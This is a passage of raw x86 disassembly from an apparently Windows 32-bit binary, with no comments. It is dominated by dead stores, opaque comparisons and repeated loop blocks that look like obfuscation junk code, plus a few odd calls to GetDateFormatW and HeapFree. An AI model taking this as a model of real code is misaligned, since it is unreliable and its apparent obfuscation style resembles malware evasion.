mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x5c]
neg eax
jne 0x1003853f
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x54], eax
je 0x10038541
mov ecx, ebx
mov eax, dword [ebp - 0x28]
mov edi, 0x389381dc
add eax, ecx
cmp eax, 0xf84b
jge 0x100385d0
push 8
pop eax
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10038570
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb3c], 0xe7be98b8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1003855f
mov ecx, dword [ebp - 0x4c8]
xor edx, edx
mov eax, dword [ebp - 0xb34]
add ecx, 0xa1a75c26
cmp ecx, eax
setg dl
or eax, 0xffffffff
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xb38]
setg cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x4cc]
cmp ecx, 0x47bfe1a2
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xdb09
setl al
add eax, 0x3a5b7dff
mov dword [ebp - 0x54], eax
jmp 0x100386d1
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x30], 0x7a76403e
mov dword [ebp - 0x54], 0xfb99
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10038603
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfc], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100385f1
mov eax, dword [ebp - 0xfc]
xor ecx, ecx
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, 0xf0d7
setge cl
mov dword [ebp - 0x4c8], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x2c]
cmp eax, 0xafff
setne cl
xor eax, eax
cmp ecx, 4
setle al
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x100386cc
mov dword [ebp - 0x64], 0xad562652
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xfc], ebx
sbb eax, eax
neg eax
sub eax, 0x785abe16
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp + eax*4 - 0x4c4]
mov eax, dword [ebp - 0xfc]
sub edx, eax
mov eax, dword [ebp - 0x30]
cmp eax, 0xfffffffb
setg cl
sub ecx, 0xfffffff8
neg ecx
sbb ecx, ecx
inc ecx
cmp edx, ecx
jl 0x100386a4
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0xfc]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xfc], ecx
mov dword [ebp - 0x4c8], edi
mov dword [ebp - 0x64], edi
inc dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
jle 0x10038656
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
setns cl
xor edx, edx
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x5c4]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
setge dl
add ecx, edx
sub ecx, dword [ebp - 0x5c4]
mov eax, dword [ebp - 0x5c0]
neg ecx
mov edx, dword [ebp - 0x24]
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
sete bl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, ebx
jge 0x10038740
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x5c4]
sub eax, 0xee350e2
je 0x10038750
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x5c4]
xor ecx, ecx
mov eax, dword [ebp - 0x5c8]
inc ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x7e8]
mov dword [ebp - 0x30], ecx
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1003877a
mov eax, ecx
mov dword [ebp - 0x7e8], eax
mov edi, 0x2c5b641b
mov dword [ebp - 0x24], 6
xor eax, eax
mov dword [ebp - 0x28], edi
mov edx, 0xffff
mov dword [ebp - 0x48], eax
mov ebx, 0xa8b742d6
mov dword [ebp - 0x10], edx
mov esi, 0x4fc7bc07
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0xffffffea
cmp dword [ebp - 0x24], 0x13
je 0x100389a8
push 2
pop edi
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x173bf38c
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], 0x14ba09a1
mov eax, dword [ebp - 0x30]
cmp eax, 0x19570a50
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp eax, edx
setg cl
cmp dword [ebp - 0x30], ecx
jne 0x100388c4
mov dword [ebp - 0x6f0], edi
mov dword [ebp - 0x6ec], edi
mov dword [ebp - 0x6e8], edi
mov dword [ebp - 0x6e4], edi
mov dword [ebp - 0x18], 0x4d2fc5c3
mov eax, dword [ebp - 0x6e8]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10038857
inc dword [ebp - 0x48]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
add edx, 9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
neg edx
cmp edx, eax
setne cl
imul eax, ecx, 0x6232
cmp eax, dword [ebp - 0x34]
jge 0x10038857
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10038874
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x10]
cmp eax, edi
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xb0f4
setl al
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x28], eax
jne 0x10038999
jmp 0x1003898c
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x100388e6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x740], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100388ce
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
or edx, 0xffffffff
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10038908
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe40], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100388f4
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x10], eax
inc ecx
jmp 0x10038987
mov dword [ebp - 0x48], 0x44bf8e16
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x10038984
mov eax, dword [ebp - 0x10]
xor ecx, ecx
push 0xfffffffffffffff7
mov eax, dword [ebp + eax*4 - 0x740]
cmp eax, 0x447f
mov eax, dword [ebp - 0x2c]
sete cl
add ecx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x740], ecx
pop eax
cmp eax, ecx
mov eax, dword [ebp - 0xe38]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x64]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x34], edx
dec dword [ebp - 0x28]
jns 0x10038922
xor ecx, ecx
xor eax, eax
inc ecx
or edx, 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x10038910
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x13
jne 0x100387c3
xor ecx, ecx
xor eax, eax
mov edi, 0x2c5b641b
inc ecx
mov edx, 0xffff
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0xffffffea
cmp dword [ebp - 0x24], 0x13
je 0x10038bb2
push 2
pop edi
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x173bf38c
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], 0x14ba09a1
mov eax, dword [ebp - 0x30]
cmp eax, 0x19570a50
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp eax, edx
setg cl
cmp dword [ebp - 0x30], ecx
jne 0x10038ad6
mov dword [ebp - 0x708], edi
mov dword [ebp - 0x704], edi
mov dword [ebp - 0x700], edi
mov dword [ebp - 0x6fc], edi
mov dword [ebp - 0x18], 0x4d2fc5c3
mov eax, dword [ebp - 0x700]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10038a69
inc dword [ebp - 0x48]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
add edx, 9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
neg edx
cmp edx, eax
setne cl
imul eax, ecx, 0x6232
cmp eax, dword [ebp - 0x34]
jge 0x10038a69
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x700]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10038a86
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x10]
cmp eax, edi
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xb0f4
setl al
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x28], eax
jne 0x10038bab
jmp 0x10038b9e
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10038af8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x848], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10038ae0
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
or edx, 0xffffffff
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10038b1a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe58], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10038b06
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x10], eax
inc ecx
jmp 0x10038b99
mov dword [ebp - 0x48], 0x44bf8e16
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x10038b96
mov eax, dword [ebp - 0x10]
xor ecx, ecx
push 0xfffffffffffffff7
mov eax, dword [ebp + eax*4 - 0x848]
cmp eax, 0x447f
mov eax, dword [ebp - 0x2c]
sete cl
add ecx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x848], ecx
pop eax
cmp eax, ecx
mov eax, dword [ebp - 0xe50]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x64]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x34], edx
dec dword [ebp - 0x28]
jns 0x10038b34
xor ecx, ecx
xor eax, eax
inc ecx
or edx, 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x10038b22
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x13
jne 0x100389d5
xor eax, eax
mov edi, 0x2c5b641b
mov dword [ebp - 0x24], 6
mov ecx, 0xffff
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x64], esi
xor esi, esi
inc esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0xffffffea
cmp dword [ebp - 0x24], 0x13
je 0x10038dbb
or edi, 0xffffffff
mov dword [ebp - 0x30], edi
xor edx, edx
mov dword [ebp - 0x2c], 0x173bf38c
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x48], 0x14ba09a1
mov eax, dword [ebp - 0x30]
cmp eax, 0x19570a50
push 2
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp eax, edx
pop ebx
setg cl
cmp dword [ebp - 0x30], ecx
jne 0x10038ce8
mov dword [ebp - 0x720], ebx
mov dword [ebp - 0x71c], ebx
mov dword [ebp - 0x718], ebx
mov dword [ebp - 0x714], ebx
mov dword [ebp - 0x18], 0x4d2fc5c3
mov eax, dword [ebp - 0x718]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10038c7b
inc dword [ebp - 0x48]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
add edx, 9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
neg edx
cmp edx, eax
setne cl
imul eax, ecx, 0x6232
cmp eax, dword [ebp - 0x34]
jge 0x10038c7b
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x718]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10038c98
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x30]
cmp eax, ebx
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xb0f4
setl al
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x28], eax
jne 0x10038db4
jmp 0x10038da7
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10038d0a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x758], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10038cf2
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10038d29
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe70], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10038d15
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10038da2
mov dword [ebp - 0x48], 0x44bf8e16
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x10038d9f
push 0xfffffffffffffff7
pop edi
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x758]
cmp eax, 0x447f
mov eax, dword [ebp - 0x2c]
sete cl
add ecx, eax
mov eax, dword [ebp - 0x10]
cmp edi, ecx
sbb edx, edx
mov dword [ebp + eax*4 - 0x758], ecx
neg edx
mov eax, dword [ebp - 0xe68]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setl dl
add edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x34], edx
dec dword [ebp - 0x28]
jns 0x10038d43
xor eax, eax
or edi, 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x10038d2e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x13
jne 0x10038be7
xor eax, eax
mov edi, 0x2c5b641b
mov ebx, 0x960f57a7
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x54], 0x60813c27
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10038dea
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c], 0x862f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10038dd2
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x10038f6e
mov edi, 0xebfb2c41
or edx, 0xffffffff
mov dword [ebp - 0x54], 0x5ed9a924
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8c], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x8c]
cmp eax, dword [ebp - 0x54]
jne 0x10038e54
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x8c]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10038e4c
cmp dword [ebp - 0x20], eax
je 0x10038e4c
mov eax, esi
mov dword [ebp - 0x30], eax
jmp 0x10038f5d
push 4
pop edx
mov dword [ebp - 0x30], edx
xor eax, eax
mov dword [ebp - 0x48], 0xac3d6c1d
mov dword [ebp - 0x34], 0x402be2ff
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10038e89
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb10], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10038e75
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10038ea2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe88], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10038e91
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x8c], 0
je 0x10038ec2
xor eax, eax
cmp dword [ebp - 0x8c], eax
je 0x10038ec4
mov edx, esi
jmp 0x10038ec6
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp edi, eax
mov dword [ebp - 0xb0c], eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0x4df7b146
mov dword [ebp - 0xe88], edx
sete al
sub eax, 0xd38d
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x10038f2d
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x8c]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x64]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
neg ecx
or edx, 0xffffffff
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x10038dfe
mov edi, 0x2c5b641b
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x54], 0x60813c27
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10038f98
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb8], 0x862f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10038f80
xor eax, eax
mov dword [ebp - 0x20], eax
or ebx, 0xffffffff
cmp dword [ebp - 0x20], eax
jl 0x10039119
mov edi, 0xebfb2c41
mov dword [ebp - 0x54], 0x5ed9a924
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x64], ebx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xb8], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xb8]
cmp eax, dword [ebp - 0x54]
jne 0x10039002
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xb8]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10038ffa
cmp dword [ebp - 0x20], eax
je 0x10038ffa
mov eax, esi
mov dword [ebp - 0x30], eax
jmp 0x10039108
push 4
pop edx
mov dword [ebp - 0x30], edx
xor eax, eax
mov dword [ebp - 0x48], 0xac3d6c1d
mov dword [ebp - 0x34], 0x402be2ff
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10039037
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbd0], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10039023
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10039050
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xea0], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003903f
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xb8], 0
je 0x10039070
xor eax, eax
cmp dword [ebp - 0xb8], eax
je 0x10039072
mov edx, esi
jmp 0x10039074
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp edi, eax
mov dword [ebp - 0xbcc], eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0x4df7b146
mov dword [ebp - 0xea0], edx
sete al
sub eax, 0xd38d
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x100390db
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xb8]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x64]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
neg ecx
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x10038fac
mov edi, 0x2c5b641b
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], 0xcd4431fa
push 0xfffffffffffffffc
mov dword [ebp - 0x10], 0x9c4ddb84
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x3c], eax
je 0x1003915e
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1003915c
mov edx, esi
jmp 0x10039160
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
push 3
setl cl
pop eax
sub eax, ecx
xor ecx, ecx
cmp eax, 0x3061ece3
setg cl
cmp ecx, esi
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x100391c0
cmp dword [ebp - 0x18], eax
je 0x100391c0
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, dword [ebp - 0x10]
jge 0x100391a9
cmp dword [ebp - 0x20], eax
je 0x100391a9
mov eax, esi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x18]
cmp dword [ebp - 0x10], eax
jle 0x100391c0
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100391d2
mov eax, esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov ecx, 0xf7673ed1
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x3c]
jne 0x10039211
xor eax, eax
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], al
je 0x1003940d
push 0x209a
push eax
push eax
push eax
push 0x936
push eax
call ebx
jmp 0x1003940b
mov dword [ebp - 0x3c], 0xae22781
xor eax, eax
mov dword [ebp - 0x28], 0x4bab92a1
mov ecx, esi
mov dword [ebp - 0x64], 0x8797
cmp dword [ebp - 0x20], eax
jne 0x10039231
mov ecx, eax
mov eax, dword [ebp - 0x3c]
imul eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10039252
cmp dword [ebp - 0x28], eax
je 0x10039254
mov eax, esi
neg eax
je 0x10039278
xor eax, eax
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], al
je 0x1003940b
push eax
push 0x738
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1003940b
mov dword [ebp - 0x18], 0xc717898a
xor edx, edx
mov dword [ebp - 0x50], esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
push 9
setge cl
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, 0xfffffffd
pop ecx
setg dl
xor eax, eax
cmp edx, ecx
setne al
cmp eax, dword [ebp - 0x3c]
jg 0x10039378
mov dword [ebp - 0x48], 0x8bb1b5b3
xor edx, edx
mov dword [ebp - 0x40], 0x71ce904c
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x28], edx
